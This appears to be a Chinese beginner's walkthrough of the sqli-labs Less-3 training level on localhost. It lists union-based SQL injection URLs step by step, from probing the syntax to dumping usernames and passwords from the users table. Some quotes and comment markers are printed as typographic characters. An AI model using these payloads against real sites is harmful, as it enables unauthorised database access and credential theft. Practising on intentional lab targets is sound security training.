Less-3
判断注入:
http://127.0.0.1/sqli-labs-master/Less-3/?id=1 显示正常
http://127.0.0.1/sqli-labs-master/Less-3/?id=1’ 出错,错误:’‘1’’) LIMIT 0,1’,多了半个)
http://127.0.0.1/sqli-labs-master/Less-3/?id=1’) --+ 显示正常,表明存在注入漏洞,且判断原数据输入应该是(‘id’),输入1’)–+后,变为(‘1’)–+’),阴影部分被注释,所以正常显示。
判断字段列数:
http://127.0.0.1/sqli-labs-master/Less-3/?id=1’) order by 3 --+
判断可以回显的字段在哪一列:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,3 --+
判断当前数据库:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,database() --+
判断当前用户:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,user() --+
查看所有数据库:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看当前数据库secrity中所有的表:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
查看users表中的所有字段:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
查看username列中的信息:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,group_concat(username) from security.users–+
查看password列中的信息:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,group_concat(password) from security.users–+
将username和password用~连接并全部输出:
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,group_concat(concat_ws(’-’,username,password)) from security.users–+
Less-3完成
关注关注,小白一枚,后续发布全部关卡